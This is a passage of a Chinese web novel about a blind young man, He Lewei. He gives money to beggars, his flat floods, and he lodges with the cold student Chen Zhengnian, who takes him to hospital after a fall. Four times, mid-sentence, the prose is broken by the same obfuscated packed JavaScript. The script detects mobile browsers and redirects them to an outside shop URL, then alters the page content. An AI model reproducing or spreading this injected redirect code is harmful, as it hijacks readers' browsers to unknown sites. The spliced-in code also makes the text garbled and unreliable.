小瞎子对路很熟。 下一秒,何乐为像听见了他心声似的,解释道:“每年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092594|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的残联聚会和助残活动都定在这边,我来过很多次。” 下去地下通道的楼梯台阶很多,好在隔壁有拉杆箱专用道,何乐为只要顺着那边慢慢走就没问题。 不过他还是牢牢抓着陈政年的衣角不放,以至于两人速度又降下来。 好不容易下去了,何乐为刚伸腿就被人揪住裤脚,“两位好心人行行好,行行好诶,三天没钱吃饭嘞,孩子生病了,没钱治啊……” 整条通道两边坐满了蓬头垢面的乞丐,陈政年蹙起眉头,转头就看见何乐为特别娴熟地掏出钱包。 那拉住裤脚的手像焦黑的枯枝,在衣料上又拉又抹,摸出几道深色的痕迹。 何乐为看不见,从钱包里取出几张钱,乞丐们瞬间全围上来了:“求求您了,您就是佛祖在世,菩萨心肠……” “大家,别急啊,一个个来,都有啊。” 他手被大家抓着,眼睛又看不见,盲杖都给挤掉了,人也站不稳。 上身维持不了平衡,后仰30度,又被陈政年推回去,手里的钱不知道被谁一把抢走了。 “走。”陈政年一手抓着钱,一手捡起盲杖塞进何乐为手里。 何乐为以为钱被他们拿了,“大家分一分,吃顿好的。” “呵。”陈政年嗤笑。 一个瞎子,去可怜一堆四肢健全的乞丐。 钱没到手,乞丐们就开始撒泼耍赖:“没拿到钱啊,没钱吃饭了,没钱治病了……” 何乐为两只耳朵全都是哭嚎声,好艰难才捕捉到几个关键词,这才反应过来,“钱你拿的?” 他拉长脖子问陈政年。 陈政年忍无可忍,拉开一个挤上来的乞丐:“滚,不然我报警。” 这一下来个硬茬,给他们都唬住。 陈政年拉起何乐为快速离开,等走出通道,何乐为还撅着嘴在抱怨:“干嘛不把钱给他们啊?” “也就你这么傻。”陈政年把钱塞回他手里。 何乐为感觉对方好像又生气了,也不反驳,乖乖地把钱一张张叠好。 离公交站没剩多远距离,太阳也许被云层遮挡住,身上没有热热的感觉。 渐渐风起,他似乎闻见了雨的气味。 何乐为想跟陈政年说可能要下雨了,张开嘴又想起来,对方可能还在生气。 “我知道他们很多都是骗人。”他试探性开口,陈政年没有反应。 于是何乐为叹了口气,继续说下去:“但不排除他们之中真的有需要帮助的人。” “只要能帮到一个,那就值当了。”何乐为眼尾微微翘起,在阴恻的天光下,显得那样耀眼。 陈政年冷哼,没告诉他多帮一个就是助长骗子势力。 “他们骗他们的,我积我的德,这样看,我是不是还赚了?”何乐为扬了扬唇。 车站到了,就在他以为陈政年不会再说话的时候,突然听见冷冷的一声:“诡辩。” 何乐为霎时笑了,“诡辩就诡辩吧,今天谢谢你送我。” 很快公交也来了,等车的人一窝蜂挤进去,何乐为在车门关闭前的几秒钟上了车,身后居然还有人跟着窜上来。 猛地撞到了他的背。 唔……今天这么多人的嘛? 他没有使用残疾人优惠,而是刷了卡,一步步扶着抓杆走到后面。 “这有位置。”他听见有人说。 他道了声谢,踱过去一屁股坐下,发现隔壁座位也是空的。 看来人也没有那么多嘛。 何乐为挪进那个靠窗的位置去,慢条斯理地拿出耳机,只戴了一只。 “咯吱。”旁边座位突然有人落座了,薄荷香丝丝缕缕飘进鼻间,他一下瞪大了眼睛。 “你、你怎么跟上来了?” 陈政年没有答话,伸手取过另一只耳机塞进耳朵里。 房子漏水,小瞎子又这么傻,应付不来的。 8. 收留 陈政年为自己的选择感到后悔,只用了短短半个小时。 “我家那个天花板哦,墙皮都给泡掉了。” 楼下邻居跟物业吐了大半天苦水,见何乐为回来,眼珠一转,立马噤声,全程交由物业代理沟通。 物业也有苦难言,任谁向一个残疾孩子索要赔偿,心里都不会舒坦。 不过好在何乐为不是不负责任的人,虽然肉疼,还是多次保证会承担责任,当务之急是要阻止水继续往下渗。 邻居得到准确答复,头也不回地走了。 余下三个人,有两个看着门口积满的一大摊水,都没动。 看不见的反而心大,一脚重重踩在水上,“咦?都溢到门外来啦?” 何乐为鞋尖抬起来,又点了点水面,劣质的鞋底不仅不防水,还隐隐有些吸水的迹象,感觉袜子都变得润润的。 他赶紧掏出钥匙开门,关在门里的水如洪流开闸般涌泄出来,把他的运动鞋全给打湿了。 更麻烦的是,老房子门下都有一道石板坎,这也就意味着就算打开门,水也排不出去。 何乐为叹叹气,自暴自弃想着蹚水进去,还是物业于心不忍,叫住他:“我先进去看看吧,你在外面等。” 老小区配备的物业个个年纪都不小,何乐为听声音,估摸着对方得上50岁了,忙说:“不用不用,我自己来吧。” 万一摔出个好歹,那可怎么办。 物业顾虑何乐为眼睛不好使,何乐为操心人一把老骨头,都不肯让步。 只有陈政年事不关己地站在隔壁,冷眼旁观。 物业拦着拦着忽然想起来,这不是还有个四肢健全、人高马大的年轻人在吗? 他瞥了对方好几眼,对方都无动于衷。 他只好拉下老脸说,“小伙子,你就干看着吗?” “啊!他就是送我回家的。”何乐为更不好意思麻烦陈政年。 事实上,陈政年看见物业在场后,就打算走了。 “小伙子,你不帮忙?”物业没见过这么冷漠的年轻人,说话时语气不由自主加重了些,像是在质问。 陈政年什么也没说,低头看了眼表,15点57分,他最后再留三分钟。 紧接着水花四溅,有人踏进屋子里。 “啊?他真的进去了?” 何乐为整颗心更加不安,他欠陈政年好多次。 可他的不安并没有延续很久,因为大概过了一分钟,陈政年就踩着水出来,“卫生间水龙头把手老化脱落了。” 何乐为想起来平时用水,转动把手就会发出“吱吱吱”的叫声,原来是老化了。 物业一听,立刻掏出手机给修理工打电话,熟念道:“诶,C栋这边,对,带个新水龙头过来。” 水龙头坏了,又是好大一开支,何乐为简直要把大大的“肉疼”直接写在脸上。 他在心里头正悄悄计算着赔偿和修理的费用,耳边蓦然落下一道声音,温度拂在脸侧,带着薄荷的气息,“水闸电闸我都关了。” 好像一瞬间回到早上捏陶那时候,何乐为整个后背像过电般发麻,他感觉自己不太对劲,于是往旁边挪了小半步,“哦好,谢谢。” “我回去了。”陈政年说。 何乐为不知道在想什么,可能在发呆,陈政年跟他说话也没回应。 听见脚步声远,他才猛然反应过来,大声说:“走啦?要不要给你换双拖鞋?” 陈政年为了帮他蹚水进门,鞋子肯定湿了。 “不用。”对方声音很沉,像云层中酝酿已久的雷声,未至耳畔轰鸣,却让人感受到一种不可言喻的低闷。 很快,何乐为发现,沉的不是陈政年的声音,而是早已蓄势待发的暴风雨。 “轰隆”一声巨响,雨点噼里啪啦砸下来,整个世界在刹那间黑了,眼前看不清任何光点。 下雨了,陈政年有伞吗? 何乐为没有时间多想,急急追出去,跑到楼梯的拐角处遽然被人抓住手臂。 “幸好,你没走远。”何乐为喘着气说。 他几乎没怎么跑过步,就这么小小一段,累得腿软,跟腰下挂了两条面条似的。 “跑什么?”陈政年跟着他往回走。 何乐为就扬起头来傻笑,“我怕你淋雨了嘛。” 陈政年觉得何乐为真的很傻,他相信任何人在碰上大暴雨的时候,都会自动寻找遮蔽。 哪怕他已经走进雨里,没有伞,也会折回来。 “我家里有伞,可以借给你。”何乐为说。 但是他忘了,那把伞有好几年没使用,打开的时候,伞柄架子都生了一层粗糙又难闻的铁锈。 何乐为有些窘迫,解释说:“我不经常出门,没想到它坏了。” 物业也没有带伞,几个人只能在门口干等。 没想到等着等着,竟然把修理工给等来了。 何乐为正要感叹人风雨无阻、尽职敬业,结果就听见对方说:“二百,谁给?” 空气突然陷入安静…… “我、我。”何乐为抬了抬手。 修理工看出屋主是个独居盲人还有些惊讶,用鄙夷的目光地来回扫视物业和陈政年好久,最后收少何乐为三十块钱。 “房子太老了,排水系统也不好,这几天最好别住人。” 物业被盯得有些心虚,也跟着附和说:“对对,这段时间还是别住家里了。” 问题是不住在家里,何乐为也没地方去,对盲人来说,适应新环境,比住水房子可怕多了。 他笑着跟他们打哈哈,并没有把话听进去。 修理工看出来了,还是没忍住多劝几句,“你别不当回事,等年纪大了,膝盖要疼的,半夜疼得睡不着觉。” “对对,我这腿就是,天一冷,疼得站不起来。”物业也说。 两人越聊越起劲,物业甚至还把陈政年牵扯进来:“你俩不是朋友吗?互相帮助一下。” 修理工觉得不错,作主帮他们安排:“你上他家去借住两天,水干了就回来。” “不不不。”何乐为一整个大惶恐,拿盲杖的手都抖了,他哪敢再麻烦人家啊! 更何况,他跟陈政年也没熟到这个地步,林林总总加起来才见过两面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092595|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他还是个学生,住学校里呢。”何乐为说。 两个商量得正上头的老头一愣,也没辙了,“那你去你亲戚家住两天吧。” 雨停了,眼睛能见度渐渐高起来,世界亮堂许多。 虽然何乐为经常被店长批评说话直白、不懂拐弯,但他清楚现在是万万不能说实话的,乖巧地点头说好。 谁知道修理工太过热心肠,非要看着他联系到人,才放心走。 何乐为都不知道该怎么办才好,去小叔叔那是不可能的,而且他根本没想过要走。 家里哪怕淹水了,也是他熟悉的那个家,是他的归宿。 “哎呀,你们先回去吧,我自己可以搞定的。”何乐为见他们不肯离开,干脆摊牌,“我眼睛不好使,去别人家也是给人添麻烦,而且水房算得了什么。” 水床他都睡过。 以前何鸿宇讨厌他,给被褥洒水的事不知道发生过多少次。 大家好像开始有些动摇了,何乐为乘胜追击,笑着拍拍胸膛:“你们放心走吧,我身体倍儿棒!不会生病的。” 他仰着头,夏季暴雨过后,黄昏天仍然明亮。只是太阳收敛了些许炽热,以一种更加柔和而绚烂的方式普照万物。 何乐为的脸也蒙上了一层淡淡的金辉。 这样看,他的脸终于不那么苍白,鼓起的两颊微微泛着红晕,睫毛颤了颤,两只眼珠很像小时候玩的琥珀球。 陈政年应该走的,应该在雨停的那一刻就离开。 连他自己都不清楚,为什么要留下来,听无聊的唠嗑,看瞎子被一步一步逼得只能露出无措的表情。 他在这平淡的烟火气里,感受到前所未有的安宁,与独处时的寂静截然不同。 陈政年承认,他曾经,可能、大概,有那么一丁点孤独。 “我不住学校。”许久,陈政年开口说,带着自己都说不清道不明的情绪。 “那敢情好啊,你就收留他几天呗。”修理工对他说。 他看见小瞎子动了动嘴,可他没有给他开口的机会。 “好。” 陈政年答应了。 他亲自领了一个麻烦回家,那是他心甘情愿的。 何乐为到最后都没想明白事情是怎么变成现在这样,迷迷糊糊被修理工和物业推上车,坐进后座时,双手被乖巧地摆在大腿上。 很懵。 大家都把事情想得太简单了。 何乐为回过神,小嘴就一路叭叭个没完:“要不然把我送回去吧?盲人适应新环境需要时间,这样太麻烦了。而且盲人还需要照顾,很不容易的,以前我婶婶就经常给我说……” 像小苍蝇一样,不停绕着人耳边打转,嗡得陈政年脑壳疼。 “你耳机呢?”他打断对方。 “在包里。”何乐为摸了好一会,刚拿出来就脱手了,被陈政年抢走。 音乐响起,周围瞬间清静,然而他还是能看见何乐为滔滔不绝的嘴唇,淡色的唇瓣在无数次上下触碰间变得干涩。 陈政年动作粗鲁地把一只耳机塞进小瞎子耳朵里。 “听歌,别吵。” 9. 摔跤 “你父母在家吗?”毕竟没有事先打招呼,何乐为不太好意思直接进去,只敢站在门外。 屋里时不时扑来一阵阵凉意,和陈政年身上的气味相似,都有种拒人于千里之外的感觉。 “不在,我一个人住。”这只是为了方便上学租的房子,不过陈政年没打算细说,嗓音里是下意识的命令语气:“进来。” “哦。”为什么一个人住?难道和家人关系不好?何乐为一边不声不响地好奇,一边磨磨蹭蹭地跨过门槛。 突然,盲杖不知道打到了什么东西,“砰”一下,特别响,吓得他肩膀一震。 “不好意思。”他挠挠头,怕把人什么东西给打坏了,神情格外心虚。 陈政年把灯打开,盲杖打到的是鞋柜,边上擦出一条不深不浅的印子。 他下意识看一眼何乐为的盲杖,质量挺好,没什么大碍。 “你家的灯真亮。”何乐为眯起眼睛,他能感觉到光线穿透眼皮,白色铺满整面视网膜,跟站在大太阳底下似的。 想着想着,又开始走神,如果有一天挣到钱了,他也要给家里装一盏很亮的灯。 “抓好。”陈政年的声音打断他的幻想,手里骤然把被塞了一块布料。 触感很熟悉,是何乐为牵过的衣角。 瞧瞧,打到人东西了,陈政年都开始不情愿放他自己走。 “哦。”何乐为跟着他慢慢往房子深处去。 偶尔路过一些大的家具,陈政年会开口说话,告诉他什么东西在这,话很简洁,但还算有耐心。 沙发背后不到半米距离有两个房间,陈政年介绍的时候,何乐为会伸手去摸,房门滑溜溜的,比他家的好,没有毛刺。 第二间房被安排给了他住,打开门有股淡淡的灰尘味。 “一会儿有阿姨过来打扫。”陈政年告诉他。 何乐为以为对方特意给自己请的家政阿姨,吓得不轻:“不不不,不用了吧,我自己也可以打扫的,不用喊家政阿姨过来。” 陈政年靠在门边看他,觉得他这个模样很好笑,“她要过来做饭,顺道打扫一下。” 何乐为听小说里的有钱人家都会请保姆,原来陈政年家也有。 “哇哦。”他默默预估一番对方的经济实力,接着发出一声感叹,是他自作多情了。 陈政年似乎笑了下,听不太真切,何乐为有些尴尬地摆摆手,转移话题:“我想洗个澡。” 陈政年带他进了浴室,“左边热水,右边冷水。” 好在有钱人家的淋浴跟普通人家的差不多,何乐为不想表现得那么土,没听清楚就赶人出去:“好啦好啦,我知道的。” “包给你放架子上了。”陈政年把他装衣服的包放到置物架。 “OKOK,你出去吧,这里交给我!”何乐为自信满满地朝马桶竖起个大拇指。 陈政年:“……” 算了,小瞎子高兴就好。 他关上门的那一刻是这样想的,听见水声响起后,才转身打开了自己的房门。 桌上是厚厚的一沓研究数据,昨天刚从实验室拿回来,还没有进行差异分析。 水声平缓而稳定,陈政年关上门,开始加班了。 “啊!救命啊!”何乐为怎么也没想到,陈政年家的热水会这么烫。 明明他很小心,事先用手指丈量好位置,微微左拉,淋浴器把手的角度可以说跟自己家里的一模一样。 按道理这般计算,放出来的水应该是很适合人体沐浴的温度。 然而花洒喷出来的水能直接把人烫熟,何乐为叫得跟杀猪似的。 他本能地松开花洒,重重砸在地上,溅起的水形如火花,这下连脚背都难于幸免。 “啊!”何乐为猛地跳起来,落地时又不幸一脚踩到用来干湿分离的玻璃门坎上,重心失衡之下,整个人以一种极为狼狈的姿态摔了出去。 没有脂肪的缓冲,一身骨头顿地,发出巨响! 陈政年骤然停笔,地震了。 等了好一会儿,没有第二次震动,他拧着眉慢慢站起来,后知后觉生出一种被拆家的荒谬感。 “何乐为,你干什么了?”陈政年敲了敲门。 何乐为快要疼死了,发出几声呜咽:“好痛,救我。” 很快门被一脚踹开,入眼就是对方白花花一条、死鱼似的趴在地上。 “我要死了,快救我。”何乐为这时候也顾不上羞耻,疼痛尖锐地刺进骨髓里,比眼睛刚坏掉那阵总跌倒的疼,还要疼上一百倍。 脚心脚背也不放过他,继续火辣辣地烫着。 花洒被水压激得在地板上乱蹿,像在跳印度蛇舞。 陈政年气笑了,先跨过人,把水关掉,然后才拿上浴巾,将人裹着捞起来。 “你是不是、”他半拖半搂地将人带出浴室,忍了忍,实在没忍住,“你是不是傻?” 何乐为疼劲还没过,哎呦哎呦地喊个没完,居然还能抽空回答:“我应该是有点傻,不过我好痛啊。” 陈政年没听出这两句话有什么逻辑关系,把人往沙发一扔,转身拿药箱去了。 这么矫情的人,白天还信誓旦旦说能住水房。 他轻嗤一下,取出一支跌打酒,“自己能擦吗?” “擦什么?”何乐为哀嚎遍野,其实一滴眼泪也没流,就那张嘴装得挺像回事。 “药。” 何乐为还没脸皮厚到让人帮他上药的地步,伸出手:“哦,给我吧。” 掌心上有一片擦伤的痕迹,细看有些奇怪,血痕竖着一道道,伤口往外渗出血液和组织液,但同时又肿得厉害,表皮红里透灰,不像单纯的擦伤。 “你烫伤了?”陈政年问。 “嗯。”何乐为委屈巴巴地拧开瓶盖,擦伤那只手抓着药,摸瞎去够另一只手。 手肘太疼了,稍微动一下就扯着筋骨,皮肉在互相拉扯。 陈政年忽然摁住他,两只手指轻轻在手肘位置按压一下,何乐为立刻倒吸一口气。 “骨折了,去医院。”陈政年抬眼看他,汗珠子一颗颗挂在小瞎子鬓边,密密麻麻的。 有点意外,他好像要比自己想象中要坚强一些。 “啊?骨折?”何乐为第一反应又是钱,他最近是有什么大灾吗,怎么总破财。 后面又觉得也许是陈政年判断错误,这次虽然很疼,但他摔倒的次数比出门的次数还要多,摔成钢铁侠了都,不可能这么容易骨折的。 何乐为噘嘴,继续给自己倒药:“应该不是吧,我现在感觉好一点了。” 陈政年看出他的想法,干脆将药瓶拿了回来,语气严肃:“何乐为,我主修专业是生物医学工程,满绩,虽然不是医生,但简单的病症还是能判断出来的。” 何乐为不清楚医学工程跟学医有什么分别,也不太懂满绩什么意思,但陈政年有点凶,话一套一套的,很唬人。 “那、陈医工,我还有救吗?”何乐为眨巴眨巴眼,没法表达情绪的瞳孔惯会装可怜。 “……我让你去医院。”陈政年说,语气缓和不少。 “好吧。”何乐为一张小脸愁得皱起来,竟然比刚才嚎叫那会儿更凄凄惨惨戚戚,“那劳烦陈医工给我拿衣服。” 悲壮如断腕,旧债未平又添一笔新债。 “唉。”何乐为一路上都唉声叹气的,惹得出租车司机关注了,问他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092596|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是有事。 “没什么,断手了。”何乐为哭卿卿。 司机不由加大马力。 从诊疗室包扎好,出去掏了掏钱包,收费人员给他说交过了。 “啊?我的钱自己长腿了?”何乐为点了好几次,一分不少。 “你给我交的?”他问陈政年。 没人说话,医院晚上人不多,静悄悄的,大厅里只有他自己的回音。 “别躲啦,我知道你在这,我闻到你了。”何乐为神情笃定。 这瞎子倒打一耙,自己看不见,就非说人躲。 陈政年直接无视,抬腿就走。 “哎,钱我一会给你,你别走那么快,还顾不顾人视障了!” 这下来回折腾完,已经晚上八点了,两个人都没吃饭,干脆在外面随便找了个快餐店。 何乐为吃得慢,而且每吃一口都要先拿勺子在上面搅动,根据触感,判断出哪些是米饭哪些菜,然后才捞起来送进嘴里。 吃完付款,老板说要28块钱,他抖着手数钱的模样,陈政年都看不下去。 “老板,这里。”陈政年把两份饭钱都给了,给完就走。 何乐为想到自己之前还欠他一顿饭呢,顿时情急,从老板那拿要回来钱,最终还是自己掏了,连同陈政年的一起。 一瘸一拐地走出去,陈政年正站在路边打车。 何乐为看不见他,傻乎乎地喊了好久:“陈医工?陈医工?” 饭香味太浓郁,导致他闻不到薄荷香,轻轻挠几下腮帮子,喃喃自语:“又躲起来了?” 车到了,陈政年直接就拉起何乐为往马路边走,对方先是条件反射挣扎了一下,闻到熟悉的气味又放松下来。 坐上座位,才把钱递给陈政年,“之前说好的,我请你,今天终于实现了。” 陈政年接了,拿在手上不用点,他也知道数目不对,不止有两个人的饭钱,还有刚才他代缴的医药费。 他敛眸,拿钱的指尖微微收紧,“何乐为。” “嗯?” “既然那么缺钱,为什么还要施舍乞丐?”又为什么要坚持请他吃饭。 陈政年没法理解。 他没见过有人穷得叮当响还硬要充阔绰的。 如果一定要充,那必然是涉及等价的利益交换。 这没有什么问题,所有人都为自己而活,为自己谋利。 然而陈政年实在想不通,一个视障能在乞丐身上得到什么。 “还能有为什么。”何乐为把脑袋悠悠地倚在车窗上,尾音上扬,每个字都在传达着主人的好心情。 只是一会儿,他就从受伤和破财的悲痛里自我调节出来。 陈政年低头注视他很久,没有错过他脸上任何表情变化。 “不为什么,之前说过的嘛,行善积德啊。”何乐为的声音突然开始抖,牙齿还发出“咯咯咯”的碰撞声。 陈政年看见他惊奇地一下坐直身体,侧边脑袋的头发被压得塌下去,眼睛瞪大,空洞的眼神好似也带上了疑惑。 紧接着何乐为再次把额头往车窗上靠,脑袋随着车的每一次颠簸而轻轻震动,他张开嘴,牙齿之间又开始颤抖。 “唔唔唔啊啊啊啊……嘿嘿。”他一个人就这样玩乐了,乐得开怀。 陈政年兴味索然,恹恹地准备收回视线。 突然,何乐为微微侧过头,嘴角挂着一抹明媚的笑,“把脑袋靠在车窗上,说话会抖,好好玩,你要试试吗?” 随后他又自然而然地重新将头靠回窗沿,像是在给陈政年展示。 晚上九点十五分,陈医工在出租车上确诊了。 何乐为智商二百五。 10. 上药 何乐为借住的这几天,陈政年感觉自己家像搬进来一窝蝉。 单是在野外听还不够,回到家还有“蝉”在耳边叽叽喳喳。 他就不懂,断了一只手,摔伤两条腿,怎么还能每天兴致勃勃,好像有说不完的话。 “物业大叔说我家的水已经完全干了!”何乐为高兴地向他宣布这个喜讯。 陈政年难得松一口气,真心祝贺:“恭喜。” “那我是不是就得走了啊?”何乐为摸着脑袋问。 他总是那么直白,换作谁都不好回答,可对面是比他更不通人情的陈政年,雷厉风行道:“收拾好东西,我送你下楼。” “啊?”连何乐为都懵了一下,想想又觉得没有毛病,终于可以回家了。 他一瘸一拐地往房间方向挪,走路很慢,陈政年分心多看了两眼,突然凝住视线。 他记得何乐为的膝盖只是轻微的摔伤,按时上药的话,情况应该一天比一天好,可是现在看起来比早几天还要严重。 他不算学医的,但多少沾了点职业病,倒不是关心,只是好奇这人是怎么把病情弄得一天比一天糟糕。 或许新的发现,能成为研究方向。 陈政年喊住他,“你腿还没好?” “哎,你说这个呀,快好了吧,我都没感觉了。”何乐为说。 陈政年没说话,站着审视了何乐为一会儿,干脆直接走到人面前,弯身撩起裤腿。 何乐为平时是极少穿短裤的,除了摔倒那次,陈政年几乎没有见过他的腿。 猝不及防看见白白的两根筷子腿,还让人怔然片刻,陈政年不动声色地移开视线,来到膝盖位置。 左边这块肿得老高,周边还围了大片乌青,陈政年一眼就看出不对劲,“怎么回事?” 何乐为摸了下鼻子,讪讪道:“也没什么,就是你不在家的时候,撞了几次。” 新的环境不是一天两天就能适应,寻常人尚且如此,更何况盲人。 何乐为刚搬回自己家那时也经常这样,所以他就把家里所有边边角角,桌子椅子尖锐的地方,全部用胶带缠上。 但这种方法显然在别人家不可行,他想着多撞几回就长记性了,再说也住不了几天,就没跟陈政年讲。 谁想到陈医工慧眼如炬,在最后关头竟然还是被看出来了。 这事吧,他自己也觉得尴尬,一个地方撞两三回,本来陈政年就嫌他笨,这下又添了一些证据。 陈政年放下裤脚,表情没什么波动,也不说话,就这样转身走了。 何乐为眨巴两下眼皮,噘起嘴又自己摸索着往房间去。 其实相处久了,何乐为就发现,陈政年这个人不仅仅是面上的冷漠,本质上对世界就不太关心。 比方说每次吃饭,明知道阿姨站在旁边候着,也不多问一句吃过没,还是何乐为第一天来随口问了,阿姨说:“没有先生吩咐,我不能吃的。” 陈政年这才知道,阿姨吃饭原来还需要经过他开口同意。 偶尔陈政年打电话不知道避人,喜欢一边开免提一边干自己的事。和对面一起研究实验数据的时候头头是道,一旦聊到别的……他直接就挂了。 半分情面都不给,何乐为甚至觉着对方当初能耐心听完他的求助电话,实属不易,说是被上身了都不夸张。 不过何乐为清楚,陈政年并不是故意针对谁,他只是没有了解大家的兴趣,也没有探究世界的热情。 就像现在,他也就是撩了一下何乐为的裤脚,不论看到什么都不会有反应。 曾经何乐为觉得自己大概有那么一丁点特别,毕竟陈政年“管”了他很多次,但是在借住的几天里,他意识到自己可能想错了。 他以为他们是朋友,所以他不断地试图了解陈政年的生活,然而陈政年却从来没有问过他的。 甚至他自己提起,对方也是一副兴致缺缺的模样,敷衍地“哼”几下。 这种猜测,在无意中听见有人给陈政年发语音,说参加志愿活动能加分的时候,得到了证实。 何乐为不知道加分加的是什么分,但他知道这一定是陈政年想要的分。 说不难过是假的,他心中的大好人可能不是真的好人。 可过了一个晚上他就想通了,不管陈政年目的是什么,他确确实实帮到了自己,这都是何乐为应该感激的。 爱咋咋地吧,他就乐呵着每天撩陈政年说话,好让这间屋子不那么冷清。 小瞎子把自己的衣服都叠好了,歪歪扭扭的,像小咸菜,一件件被塞进打包袋里。 陈政年拎着药箱进来,入眼就是人乖乖坐在床边塞衣服的场景。 “我收拾完了。”何乐为听见脚步声,仰起头说。 “嗯。”陈政年在他面前蹲下来,“咔哒”三两下打开药箱的锁扣。 何乐为不知道他要干嘛,直到脚踝被抓住,才霎时一惊,“怎么了?” 脚踝也瘦,还凉,别看陈政年性子冷,掌心烫得跟暖炉似的,干燥、不过不算粗糙。 陈政年把他的裤子又拉了起来,折到大腿位置,接着往膝盖喷了什么东西。 一股浓重的药味顿时在空气中化开,何乐为呛得直咳嗽,不一会儿眼眶就润润的,往外透着红。 膝盖乌青的位置又被涂上一层湿湿的药膏,陈政年的动作并不温柔,甚至可以说野蛮。 何乐为嘴里“斯哈斯哈”地抽气,不妨碍脑子里疯狂转动。 陈政年竟然亲自给他上药了! 那说明他还是有把他当朋友的吧? “可以走了。”陈政年扔掉棉签,站起来,跟何乐为说。 好吧,又是错觉。 刚上了药,何乐为就没把裤脚再放下去,这么缠在腿上,踉踉跄跄地下楼。 又拿行李又拿盲杖,陈政年走太快,何乐为也要加快加快脚步。 好在这楼里有装电梯,不用自己爬。 封闭的空间一下阻隔了很多外在的声音,很安静,何乐为有点不习惯。 也不知道这次分别以后,要什么时候才能再见。 “诶!”他忽然记起什么,拖着嗓音喊了声“陈医工”,然后歪脸认真问:“晓茜说的纪录片什么时候拍呀?” 晓茜? 陈政年低头看他,腿很瘦,脸上倒是长肉了,大概是在自己家吃了几天,营养跟上不少。 “你很急吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092597|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”陈政年反问。 何乐为眨眼,顶光灯打在头上,眼下落了一簇簇睫毛虚影,细细密密的,“要赚钱嘛。” 他说,依然耿直。 陈政年不带温度地说:“你跟季晓茜熟,问我干什么。” “我哪里跟她熟嘛?”何乐为一脸狐疑,自从上次聊完,加了联系方式之后就再也没联系。 “叮咚,一层到啦。”电梯发出提示,陈政年事先喊了车,也算是劳心劳力带路把人送上去。 何乐为摇下车窗,把头探出去,他看不见,也不知道人走没走。 睁着那双大眼睛,鼻子在烈日下使劲嗅了嗅,闻不到薄荷味了,只有淡淡的草木香,渗在闷热里。 “把头收回去。”蓦然,他听见那谁冷淡的声音。 汽车引擎启动,何乐为把脑袋收回去之前跟陈政年说了:“谢谢。” 其实陈政年对他挺好的,或许还有机会做朋友。 回去之后,他们就没有再联系了,一方面是因为何乐为忙,季晓茜一直没给出一个明确的拍摄时间,他总不能干坐着,于是开始在网上找工作。 另一方面,陈政年也不是那种会主动保持联络的人,何乐为知道最近期末月,也没好意思去打扰人家。 他在网上找了一圈,能居家办公的岗位实在是太少,倒是有很多能接到家里来干的手工活,简直是为难瞎子。 他有天还看到“X”所在的社团急招配音,何乐为想去想得快哭了,可惜他没有系统学习过配音技巧,丢不起这个人。 兜兜转转,最后还是找了份客服的活,兼职,每天干五小时,一小时十块。 他经验丰富,上手速度飞快,每天就靠着那五十块钱过活,中途还意外接到了浮生的售后电话,真是一段孽缘。 对方像瞬间变了个人似的,什么脏话狠话都说得出,一点儿也不温柔。 通话挂断前还恐吓何乐为:“我早晚会找过去,你等着。” 何乐为又是皱眉又是摇头,知人知声不知心,唉,算他听走耳了。 这样的日子飞快,他石膏都拆了,在某天夜里,终于接到季晓茜的电话。 “周末你方便吗?实在不好意思,我们没想过会拖那么久。”季晓茜告诉他,学校期末考试的时间做了调整,大家都忙着复习,只能将纪录片的拍摄延后。 何乐为表示理解,只要能继续拍就行,他实在是缺钱。 “行,但是有个事我要事先跟你商量。我们这边申请到的补贴薪资只有1000,我这边会再给你补1000,你可以考虑一下。” 那么多!何乐为嘴巴都张开了,“不不不,一千就好,给我一千就够了。” 求财不求多,求个心安理得。 季晓茜也没客气,只说周末过去他家,让他做好准备。 小瞎子能准备什么,就热情地给家里来个大扫除,地板擦了好几遍,保证眼睛好的人也能看见亮堂。 很快,拍摄的日子就到了。 何乐为穿上他自认为最好的衣服,咧开嘴地开门迎接,清冽的薄荷香被微风裹挟着吹进来。 